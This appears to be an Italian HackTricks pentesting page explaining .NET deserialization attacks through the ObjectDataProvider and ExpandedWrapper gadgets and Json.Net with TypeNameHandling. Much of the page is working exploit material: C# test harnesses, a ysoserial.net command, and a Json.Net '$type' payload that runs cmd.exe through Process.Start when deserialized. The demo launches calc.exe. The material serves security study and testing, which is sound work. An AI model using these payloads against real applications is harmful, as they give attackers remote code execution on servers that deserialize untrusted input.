hacktricks/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
2024-02-10 13:03:23 +00:00

10 KiB

Base della deserializzazione di .Net (gadget ObjectDataProvider, ExpandedWrapper e Json.Net)

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Questo post è dedicato a capire come viene sfruttato il gadget ObjectDataProvider per ottenere RCE e come le librerie di serializzazione Json.Net e xmlSerializer possono essere abusate con quel gadget.

Gadget ObjectDataProvider

Dalla documentazione: la classe ObjectDataProvider incapsula e crea un oggetto che puoi utilizzare come origine di binding.
Sì, è una spiegazione strana, quindi vediamo cosa ha di interessante questa classe: questa classe permette di incapsulare un oggetto arbitrario, utilizzare MethodParameters per impostare parametri arbitrari e quindi utilizzare MethodName per chiamare una funzione arbitraria dell'oggetto arbitrario dichiarato utilizzando i parametri arbitrari.
Pertanto, l'oggetto arbitrario eseguirà una funzione con parametri durante la deserializzazione.

Come è possibile

Lo spazio dei nomi System.Windows.Data, trovato all'interno di PresentationFramework.dll in C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, è dove viene definito e implementato ObjectDataProvider.

Utilizzando dnSpy puoi ispezionare il codice della classe che ci interessa. Nell'immagine sottostante stiamo vedendo il codice di PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nome del metodo

Come puoi osservare, quando viene impostato MethodName, viene chiamato base.Refresh(), vediamo cosa fa:

Ok, continuiamo a vedere cosa fa this.BeginQuery(). BeginQuery viene sovrascritto da ObjectDataProvider ed è questo che fa:

Nota che alla fine del codice viene chiamato this.QueryWorke(null). Vediamo cosa esegue:

Nota che questo non è il codice completo della funzione QueryWorker, ma mostra la parte interessante: il codice chiama this.InvokeMethodOnInstance(out ex); questa è la riga in cui viene invocato il metodo impostato.

Se vuoi verificare che impostando solo il MethodName verrà eseguito, puoi eseguire questo codice:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Nota che è necessario aggiungere come riferimento C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll per caricare System.Windows.Data

ExpandedWrapper

Utilizzando l'exploit precedente, ci saranno casi in cui l'oggetto verrà deserializzato come un'istanza di ObjectDataProvider (ad esempio nella vulnerabilità di DotNetNuke, utilizzando XmlSerializer, l'oggetto è stato deserializzato utilizzando GetType). Quindi, non avremo conoscenza del tipo di oggetto che è incapsulato nell'istanza di ObjectDataProvider (Process, ad esempio). Puoi trovare ulteriori informazioni sulla vulnerabilità di DotNetNuke qui.

Questa classe consente di specificare i tipi di oggetti degli oggetti che sono incapsulati in una determinata istanza. Quindi, questa classe può essere utilizzata per incapsulare un oggetto di origine (ObjectDataProvider) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (ObjectDataProvider.MethodName e ObjectDataProvider.MethodParameters).
Questo è molto utile per casi come quello presentato in precedenza, perché saremo in grado di incapsulare _ObjectDataProvider** all'interno di un'istanza di **ExpandedWrapper _ e quando viene deserializzata questa classe creerà l'oggetto OjectDataProvider che eseguirà la funzione indicata in MethodName.

Puoi verificare questo wrapper con il seguente codice:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Nella pagina web ufficiale viene indicato che questa libreria consente di serializzare e deserializzare qualsiasi oggetto .NET con il potente serializzatore JSON di Json.NET. Quindi, se potessimo deserializzare il gadget ObjectDataProvider, potremmo causare un RCE semplicemente deserializzando un oggetto.

Esempio di Json.Net

Prima di tutto vediamo un esempio su come serializzare/deserializzare un oggetto utilizzando questa libreria:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Abuso di Json.Net

Utilizzando ysoserial.net ho creato l'exploit:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

In questo codice puoi testare l'exploit, eseguilo e vedrai che viene eseguito il calcolatore:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!